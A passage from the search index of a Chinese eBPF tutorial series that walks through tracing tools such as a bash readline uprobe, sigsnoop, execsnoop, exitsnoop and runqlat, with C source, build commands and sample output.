文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe bash-32969 [000] d..31 64001.375748: bpf_trace_printk: PID 32969 (bash) read: fff bash-32969 [000] d..31 64002.056951: bpf_trace_printk: PID 32969 (bash) read: fff 可以看到，我们成功的捕获了 bash 的 readline 函数调用，并获取了用户在 bash 中输入的命令行。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 使用 uprobe 捕获 bash 的 readline 函数调用","id":"35","title":"使用 uprobe 捕获 bash 的 readline 函数调用"},"36":{"body":"在上述代码中，我们使用了 SEC 宏来定义了一个 uprobe 探针，它指定了要捕获的用户空间程序 (bin/bash) 和要捕获的函数 (readline)。此外，我们还使用了 BPF_KRETPROBE 宏来定义了一个用于处理 readline 函数返回值的回调函数 (printret)。该函数可以获取到 readline 函数的返回值，并将其打印到内核日志中。通过这样的方式，我们就可以使用 eBPF 来捕获 bash 的 readline 函数调用，并获取用户在 bash 中输入的命令行。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 总结","id":"36","title":"总结"},"37":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第六篇，主要介绍如何实现一个 eBPF 工具，捕获进程发送信号的系统调用集合，使用 hash map 保存状态。","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » eBPF 入门开发实践教程六：捕获进程发送信号的系统调用集合，使用 hash map 保存状态","id":"37","title":"eBPF 入门开发实践教程六：捕获进程发送信号的系统调用集合，使用 hash map 保存状态"},"38":{"body":"示例代码如下： #include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> #define MAX_ENTRIES 10240\n#define TASK_COMM_LEN 16 struct event { unsigned int pid; unsigned int tpid; int sig; int ret; char comm[TASK_COMM_LEN];\n}; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u32); __type(value, struct event);\n} values SEC(\".maps\"); static int probe_entry(pid_t tpid, int sig)\n{ struct event event = {}; __u64 pid_tgid; __u32 tid; pid_tgid = bpf_get_current_pid_tgid(); tid = (__u32)pid_tgid; event.pid = pid_tgid >> 32; event.tpid = tpid; event.sig = sig; bpf_get_current_comm(event.comm, sizeof(event.comm)); bpf_map_update_elem(&values, &tid, &event, BPF_ANY); return 0;\n} static int probe_exit(void *ctx, int ret)\n{ __u64 pid_tgid = bpf_get_current_pid_tgid(); __u32 tid = (__u32)pid_tgid; struct event *eventp; eventp = bpf_map_lookup_elem(&values, &tid); if (!eventp) return 0; eventp->ret = ret; bpf_printk(\"PID %d (%s) sent signal %d to PID %d, ret = %d\", eventp->pid, eventp->comm, eventp->sig, eventp->tpid, ret); cleanup: bpf_map_delete_elem(&values, &tid); return 0;\n} SEC(\"tracepoint/syscalls/sys_enter_kill\")\nint kill_entry(struct trace_event_raw_sys_enter *ctx)\n{ pid_t tpid = (pid_t)ctx->args[0]; int sig = (int)ctx->args[1]; return probe_entry(tpid, sig);\n} SEC(\"tracepoint/syscalls/sys_exit_kill\")\nint kill_exit(struct trace_event_raw_sys_exit *ctx)\n{ return probe_exit(ctx, ctx->ret);\n} char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 上面的代码定义了一个 eBPF 程序，用于捕获进程发送信号的系统调用，包括 kill、tkill 和 tgkill。它通过使用 tracepoint 来捕获系统调用的进入和退出事件，并在这些事件发生时执行指定的探针函数，例如 probe_entry 和 probe_exit。 在探针函数中，我们使用 bpf_map 存储捕获的事件信息，包括发送信号的进程 ID、接收信号的进程 ID、信号值和系统调用的返回值。在系统调用退出时，我们将获取存储在 bpf_map 中的事件信息，并使用 bpf_printk 打印进程 ID、进程名称、发送的信号和系统调用的返回值。 最后，我们还需要使用 SEC 宏来定义探针，并指定要捕获的系统调用的名称，以及要执行的探针函数。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc sigsnoop.bpf.c\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe node-3517 [003] d..31 82575.798191: bpf_trace_printk: PID 3517 (node) sent signal 0 to PID 3427, ret = 0 node-15194 [003] d..31 82575.849227: bpf_trace_printk: PID 15194 (node) sent signal 0 to PID 3427, ret = 0 node-30016 [003] d..31 82576.001361: bpf_trace_printk: PID 30016 (node) sent signal 0 to PID 3427, ret = 0 cpptools-srv-38617 [002] d..31 82576.461085: bpf_trace_printk: PID 38617 (cpptools-srv) sent signal 0 to PID 30496, ret = 0 node-30040 [002] d..31 82576.467720: bpf_trace_printk: PID 30016 (node) sent signal 0 to PID 3427, ret = 0","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » sigsnoop","id":"38","title":"sigsnoop"},"39":{"body":"本文主要介绍如何实现一个 eBPF 工具，捕获进程发送信号的系统调用集合，使用 hash map 保存状态。使用 hash map 需要定义一个结构体： struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u32); __type(value, struct event);\n} values SEC(\".maps\"); 并使用一些对应的 API 进行访问，例如 bpf_map_lookup_elem、bpf_map_update_elem、bpf_map_delete_elem 等。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » 总结","id":"39","title":"总结"},"4":{"body":"Google 或者其他搜索引擎查找：eBPF 询问 ChatGPT 之类的东西：eBPF 是什么？ 推荐： 阅读 ebpf 简介： https://ebpf.io/ （30min） 简要了解一下 ebpf 内核相关文档： https://prototype-kernel.readthedocs.io/en/latest/bpf/ （知道有问题去哪里查询，30min） 阅读 ebpf 中文入门指南： https://www.modb.pro/db/391570 （1h） 有大量的参考资料： https://github.com/zoidbergwill/awesome-ebpf （2-3h） 可以选自己感兴趣的 PPT 翻一翻： https://github.com/gojue/ebpf-slide （1-2h） 回答三个问题： 了解 eBPF 是什么东西？为啥要有这个玩意，不能用内核模块？ 它有什么功能？能在 Linux 内核里面完成哪些事情？有哪些 eBPF 程序的类型和 helper（不需要知道全部，但是需要知道去哪里找）？ 能拿来做什么？比如说在哪些场景中进行运用？网络、安全、可观测性？","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF 入门（5-7h）","id":"4","title":"eBPF 入门（5-7h）"},"40":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第七篇，主要介绍如何捕获 Linux 内核中进程执行的事件，并且通过 perf event array 向用户态命令行打印输出，不需要再通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出。通过 perf event array 向用户态发送信息之后，可以进行复杂的数据处理和分析。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » eBPF 入门实践教程七：捕获进程执行/退出时间，通过 perf event array 向用户态打印输出","id":"40","title":"eBPF 入门实践教程七：捕获进程执行/退出时间，通过 perf event array 向用户态打印输出"},"41":{"body":"eBPF 提供了两个环形缓冲区，可以用来将信息从 eBPF 程序传输到用户区控制器。第一个是perf环形缓冲区，，它至少从内核v4.15开始就存在了。第二个是后来引入的 BPF 环形缓冲区。本文只考虑perf环形缓冲区。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » perf buffer","id":"41","title":"perf buffer"},"42":{"body":"通过 perf event array 向用户态命令行打印输出，需要编写一个头文件，一个 C 源文件。示例代码如下： 头文件：execsnoop.h #ifndef __EXECSNOOP_H\n#define __EXECSNOOP_H #define TASK_COMM_LEN 16 struct event { int pid; int ppid; int uid; int retval; bool is_exit; char comm[TASK_COMM_LEN];\n}; #endif /* __EXECSNOOP_H */ 源文件：execsnoop.bpf.c // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)\n#include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_core_read.h>\n#include \"execsnoop.h\" struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); SEC(\"tracepoint/syscalls/sys_enter_execve\")\nint tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx)\n{ u64 id; pid_t pid, tgid; struct event event={0}; struct task_struct *task; uid_t uid = (u32)bpf_get_current_uid_gid(); id = bpf_get_current_pid_tgid(); pid = (pid_t)id; tgid = id >> 32; event.pid = tgid; event.uid = uid; task = (struct task_struct*)bpf_get_current_task(); event.ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&event.comm, sizeof(event.comm)); bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); return 0;\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码定义了个 eBPF 程序，用于捕获进程执行 execve 系统调用的入口。 在入口程序中，我们首先获取了当前进程的进程 ID 和用户 ID，然后通过 bpf_get_current_task 函数获取了当前进程的 task_struct 结构体，并通过 bpf_probe_read_str 函数读取了进程名称。最后，我们通过 bpf_perf_event_output 函数将进程执行事件输出到 perf buffer。 使用这段代码，我们就可以捕获 Linux 内核中进程执行的事件, 并分析进程的执行情况。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 使用容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者使用 ecc 编译： ecc execsnoop.bpf.c execsnoop.h 运行 $ sudo ./ecli run package.json TIME PID PPID UID COMM 21:28:30 40747 3517 1000 node\n21:28:30 40748 40747 1000 sh\n21:28:30 40749 3517 1000 node\n21:28:30 40750 40749 1000 sh\n21:28:30 40751 3517 1000 node\n21:28:30 40752 40751 1000 sh\n21:28:30 40753 40752 1000 cpuUsage.sh","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » execsnoop","id":"42","title":"execsnoop"},"43":{"body":"本文介绍了如何捕获 Linux 内核中进程执行的事件，并且通过 perf event array 向用户态命令行打印输出，通过 perf event array 向用户态发送信息之后，可以进行复杂的数据处理和分析。在 libbpf 对应的内核态代码中，定义这样一个结构体和对应的头文件： struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); 就可以往用户态直接发送信息。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » 总结","id":"43","title":"总结"},"44":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第八篇，在 eBPF 中使用 exitsnoop 监控进程退出事件。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » eBPF 入门开发实践教程八：在 eBPF 中使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出","id":"44","title":"eBPF 入门开发实践教程八：在 eBPF 中使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出"},"45":{"body":"现在有一个新的 BPF 数据结构可用，eBPF 环形缓冲区（ring buffer）。它解决了 BPF perf buffer（当今从内核向用户空间发送数据的事实上的标准）的内存效率和事件重排问题，同时达到或超过了它的性能。它既提供了与 perf buffer 兼容以方便迁移，又有新的保留/提交API，具有更好的可用性。另外，合成和真实世界的基准测试表明，在几乎所有的情况下，所以考虑将其作为从BPF程序向用户空间发送数据的默认选择。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » ring buffer","id":"45","title":"ring buffer"},"46":{"body":"只要 BPF 程序需要将收集到的数据发送到用户空间进行后处理和记录，它通常会使用 BPF perf buffer（perfbuf）来实现。Perfbuf 是每个CPU循环缓冲区的集合，它允许在内核和用户空间之间有效地交换数据。它在实践中效果很好，但由于其按CPU设计，它有两个主要的缺点，在实践中被证明是不方便的：内存的低效使用和事件的重新排序。 为了解决这些问题，从Linux 5.8开始，BPF提供了一个新的BPF数据结构（BPF map）。BPF环形缓冲区（ringbuf）。它是一个多生产者、单消费者（MPSC）队列，可以同时在多个CPU上安全共享。 BPF ringbuf 支持来自 BPF perfbuf 的熟悉的功能: 变长的数据记录。 能够通过内存映射区域有效地从用户空间读取数据，而不需要额外的内存拷贝和/或进入内核的系统调用。 既支持epoll通知，又能以绝对最小的延迟进行忙环操作。 同时，BPF ringbuf解决了BPF perfbuf的以下问题: 内存开销。 数据排序。 浪费的工作和额外的数据复制。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » eBPF ringbuf vs eBPF perfbuf","id":"46","title":"eBPF ringbuf vs eBPF perfbuf"},"47":{"body":"本文是 eBPF 入门开发实践教程的第八篇，在 eBPF 中使用 exitsnoop 监控进程退出事件，并使用 ring buffer 向用户态打印输出。 使用 ring buffer 向用户态打印输出的步骤和 perf buffer 类似，首先需要定义一个头文件： 头文件：exitsnoop.h #ifndef __BOOTSTRAP_H\n#define __BOOTSTRAP_H #define TASK_COMM_LEN 16\n#define MAX_FILENAME_LEN 127 struct event { int pid; int ppid; unsigned exit_code; unsigned long long duration_ns; char comm[TASK_COMM_LEN];\n}; #endif /* __BOOTSTRAP_H */ 源文件：exitsnoop.bpf.c #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h>\n#include \"exitsnoop.h\"\nchar LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ struct task_struct *task; struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, duration_ns = 0; /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这段代码展示了如何使用 exitsnoop 监控进程退出事件并使用 ring buffer 向用户态打印输出： 首先，我们引入所需的头文件和 exitsnoop.h。 定义一个名为 \"LICENSE\" 的全局变量，内容为 \"Dual BSD/GPL\"，这是 eBPF 程序的许可证要求。 定义一个名为 rb 的 BPF_MAP_TYPE_RINGBUF 类型的映射，它将用于将内核空间的数据传输到用户空间。指定 max_entries 为 256 * 1024，代表 ring buffer 的最大容量。 定义一个名为 handle_exit 的 eBPF 程序，它将在进程退出事件触发时执行。传入一个名为 ctx 的 trace_event_raw_sched_process_template 结构体指针作为参数。 使用 bpf_get_current_pid_tgid() 函数获取当前任务的 PID 和 TID。对于主线程，PID 和 TID 相同；对于子线程，它们是不同的。我们只关心进程（主线程）的退出，因此在 PID 和 TID 不同时返回 0，忽略子线程退出事件。 使用 bpf_ringbuf_reserve 函数为事件结构体 e 在 ring buffer 中预留空间。如果预留失败，返回 0。 使用 bpf_get_current_task() 函数获取当前任务的 task_struct 结构指针。 将进程相关信息填充到预留的事件结构体 e 中，包括进程持续时间、PID、PPID、退出代码以及进程名称。 最后，使用 bpf_ringbuf_submit 函数将填充好的事件结构体 e 提交到 ring buffer，之后在用户空间进行处理和输出。 这个示例展示了如何使用 exitsnoop 和 ring buffer 在 eBPF 程序中捕获进程退出事件并将相关信息传输到用户空间。这对于分析进程退出原因和监控系统行为非常有用。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » exitsnoop","id":"47","title":"exitsnoop"},"48":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest Or $ ecc exitsnoop.bpf.c exitsnoop.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... Run: $ sudo ./ecli run package.json TIME PID PPID EXIT_CODE DURATION_NS COMM 21:40:09 42050 42049 0 0 which\n21:40:09 42049 3517 0 0 sh\n21:40:09 42052 42051 0 0 ps\n21:40:09 42051 3517 0 0 sh\n21:40:09 42055 42054 0 0 sed\n21:40:09 42056 42054 0 0 cat\n21:40:09 42057 42054 0 0 cat\n21:40:09 42058 42054 0 0 cat\n21:40:09 42059 42054 0 0 cat","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » Compile and Run","id":"48","title":"Compile and Run"},"49":{"body":"本文介绍了如何使用 eunomia-bpf 开发一个简单的 BPF 程序，该程序可以监控 Linux 系统中的进程退出事件, 并将捕获的事件通过 ring buffer 发送给用户空间程序。在本文中，我们使用 eunomia-bpf 编译运行了这个例子。 为了更好地理解和实践 eBPF 编程，我们建议您阅读 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。此外，我们还为您提供了完整的教程和源代码，您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发，并为您的进一步学习和实践提供有益的参考。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » 总结","id":"49","title":"总结"},"5":{"body":"了解并尝试一下 eBPF 开发框架： BCC 开发各类小工具的例子： https://github.com/iovisor/bcc/blob/master/docs/tutorial_bcc_python_developer.md （跑一遍，3-4h） libbpf 的一些例子： https://github.com/libbpf/libbpf-bootstrap （选感兴趣的运行一下，并阅读一下源代码，2h） 基于 libbpf 和 eunomia-bpf 的教程： https://github.com/eunomia-bpf/bpf-developer-tutorial （阅读 1-10 的部分，3-4h） 其他开发框架：Go 语言或者 Rust 语言，请自行搜索并且尝试（0-2h） 有任何问题或者想了解的东西，不管是不是和本项目相关，都可以在本项目的 discussions 里面开始讨论。 回答一些问题，并且进行一些尝试（2-5h）： 如何开发一个最简单的 eBPF 程序？ 如何用 eBPF 追踪一个内核功能或函数？有很多种方法，举出对应的代码； 有哪些方案能通过用户态和内核态通信？如何从用户态向内核态传送信息？如何从内核态向用户态传递信息？举出代码示例； 编写一个你自己的 eBPF 程序，实现一个功能； eBPF 程序的整个生命周期里面，分别在用户态和内核态做了哪些事情？","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 了解如何开发 eBPF 程序（10-15h）","id":"5","title":"了解如何开发 eBPF 程序（10-15h）"},"50":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 runqlat 是一个 eBPF 工具，用于分析 Linux 系统的调度性能。具体来说，runqlat 用于测量一个任务在被调度到 CPU 上运行之前在运行队列中等待的时间。这些信息对于识别性能瓶颈和提高 Linux 内核调度算法的整体效率非常有用。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » eBPF 入门开发实践教程九：捕获进程调度延迟，以直方图方式记录","id":"50","title":"eBPF 入门开发实践教程九：捕获进程调度延迟，以直方图方式记录"},"51":{"body":"本教程是 eBPF 入门开发实践系列的第九部分，主题是 \"捕获进程调度延迟\"。在此，我们将介绍一个名为 runqlat 的程序，其作用是以直方图的形式记录进程调度延迟。 Linux 操作系统使用进程来执行所有的系统和用户任务。这些进程可能被阻塞、杀死、运行，或者正在等待运行。处在后两种状态的进程数量决定了 CPU 运行队列的长度。 进程有几种可能的状态，如： 可运行或正在运行 可中断睡眠 不可中断睡眠 停止 僵尸进程 等待资源或其他函数信号的进程会处在可中断或不可中断的睡眠状态：进程被置入睡眠状态，直到它需要的资源变得可用。然后，根据睡眠的类型，进程可以转移到可运行状态，或者保持睡眠。 即使进程拥有它需要的所有资源，它也不会立即开始运行。它会转移到可运行状态，与其他处在相同状态的进程一起排队。CPU可以在接下来的几秒钟或毫秒内执行这些进程。调度器为 CPU 排列进程，并决定下一个要执行的进程。 根据系统的硬件配置，这个可运行队列（称为 CPU 运行队列）的长度可以短也可以长。短的运行队列长度表示 CPU 没有被充分利用。另一方面，如果运行队列长，那么可能意味着 CPU 不够强大，无法执行所有的进程，或者 CPU 的核心数量不足。在理想的 CPU 利用率下，运行队列的长度将等于系统中的核心数量。 进程调度延迟，也被称为 \"run queue latency\"，是衡量线程从变得可运行（例如，接收到中断，促使其处理更多工作）到实际在 CPU 上运行的时间。在 CPU 饱和的情况下，你可以想象线程必须等待其轮次。但在其他奇特的场景中，这也可能发生，而且在某些情况下，它可以通过调优减少，从而提高整个系统的性能。 我们将通过一个示例来阐述如何使用 runqlat 工具。这是一个负载非常重的系统： # runqlat\nTracing run queue latency... Hit Ctrl-C to end.\n^C usecs : count distribution 0 -> 1 : 233 |*********** | 2 -> 3 : 742 |************************************ | 4 -> 7 : 203 |********** | 8 -> 15 : 173 |******** | 16 -> 31 : 24 |* | 32 -> 63 : 0 | | 64 -> 127 : 30 |* | 128 -> 255 : 6 | | 256 -> 511 : 3 | | 512 -> 1023 : 5 | | 1024 -> 2047 : 27 |* | 2048 -> 4095 : 30 |* | 4096 -> 8191 : 20 | | 8192 -> 16383 : 29 |* | 16384 -> 32767 : 809 |****************************************| 32768 -> 65535 : 64 |*** | 在这个输出中，我们看到了一个双模分布，一个模在0到15微秒之间，另一个模在16到65毫秒之间。这些模式在分布（它仅仅是 \"count\" 列的视觉表示）中显示为尖峰。例如，读取一行：在追踪过程中，809个事件落入了16384到32767微秒的范围（16到32毫秒）。 在后续的教程中，我们将深入探讨如何利用 eBPF 对此类指标进行深度跟踪和分析，以更好地理解和优化系统性能。同时，我们也将学习更多关于 Linux 内核调度器、中断处理和 CPU 饱 runqlat 的实现利用了 eBPF 程序，它通过内核跟踪点和函数探针来测量进程在运行队列中的时间。当进程被排队时，trace_enqueue 函数会在一个映射中记录时间戳。当进程被调度到 CPU 上运行时，handle_switch 函数会检索时间戳，并计算当前时间与排队时间之间的时间差。这个差值（或 delta）被用于更新进程的直方图，该直方图记录运行队列延迟的分布。该直方图可用于分析 Linux 内核的调度性能。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat 原理","id":"51","title":"runqlat 原理"},"52":{"body":"","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat 代码实现","id":"52","title":"runqlat 代码实现"},"53":{"body":"首先我们需要编写一个源代码文件 runqlat.bpf.c: // SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_tracing.h>\n#include \"runqlat.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\"\n#include \"core_fixes.bpf.h\" #define MAX_ENTRIES 10240\n#define TASK_RUNNING 0 const volatile bool filter_cg = false;\nconst volatile bool targ_per_process = false;\nconst volatile bool targ_per_thread = false;\nconst volatile bool targ_per_pidns = false;\nconst volatile bool targ_ms = false;\nconst volatile pid_t targ_tgid = 0; struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); static struct hist zero; /// @sample {\"interval\": 1000, \"type\" : \"log2_hist\"}\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, struct hist);\n} hists SEC(\".maps\"); static int trace_enqueue(u32 tgid, u32 pid)\n{ u64 ts; if (!pid) return 0; if (targ_tgid && targ_tgid != tgid) return 0; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); return 0;\n} static unsigned int pid_namespace(struct task_struct *task)\n{ struct pid *pid; unsigned int level; struct upid upid; unsigned int inum; /* get the pid namespace by following task_active_pid_ns(), * pid->numbers[pid->level].ns */ pid = BPF_CORE_READ(task, thread_pid); level = BPF_CORE_READ(pid, level); bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); inum = BPF_CORE_READ(upid.ns, ns.inum); return inum;\n} static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)\n{ struct hist *histp; u64 *tsp, slot; u32 pid, hkey; s64 delta; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; if (get_task_state(prev) == TASK_RUNNING) trace_enqueue(BPF_CORE_READ(prev, tgid), BPF_CORE_READ(prev, pid)); pid = BPF_CORE_READ(next, pid); tsp = bpf_map_lookup_elem(&start, &pid); if (!tsp) return 0; delta = bpf_ktime_get_ns() - *tsp; if (delta < 0) goto cleanup; if (targ_per_process) hkey = BPF_CORE_READ(next, tgid); else if (targ_per_thread) hkey = pid; else if (targ_per_pidns) hkey = pid_namespace(next); else hkey = -1; histp = bpf_map_lookup_or_try_init(&hists, &hkey, &zero); if (!histp) goto cleanup; if (!histp->comm[0]) bpf_probe_read_kernel_str(&histp->comm, sizeof(histp->comm), next->comm); if (targ_ms) delta /= 1000000U; else delta /= 1000U; slot = log2l(delta); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; __sync_fetch_and_add(&histp->slots[slot], 1); cleanup: bpf_map_delete_elem(&start, &pid); return 0;\n} SEC(\"raw_tp/sched_wakeup\")\nint BPF_PROG(handle_sched_wakeup, struct task_struct *p)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));\n} SEC(\"raw_tp/sched_wakeup_new\")\nint BPF_PROG(handle_sched_wakeup_new, struct task_struct *p)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));\n} SEC(\"raw_tp/sched_switch\")\nint BPF_PROG(handle_sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next)\n{ return handle_switch(preempt, prev, next);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这其中定义了一些常量和全局变量，用于过滤对应的追踪目标： #define MAX_ENTRIES 10240\n#define TASK_RUNNING 0 const volatile bool filter_cg = false;\nconst volatile bool targ_per_process = false;\nconst volatile bool targ_per_thread = false;\nconst volatile bool targ_per_pidns = false;\nconst volatile bool targ_ms = false;\nconst volatile pid_t targ_tgid = 0; 这些变量包括最大映射项数量、任务状态、过滤选项和目标选项。这些选项可以通过用户空间程序设置，以定制 eBPF 程序的行为。 接下来，定义了一些 eBPF 映射： struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); static struct hist zero; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, struct hist);\n} hists SEC(\".maps\"); 这些映射包括： cgroup_map 用于过滤 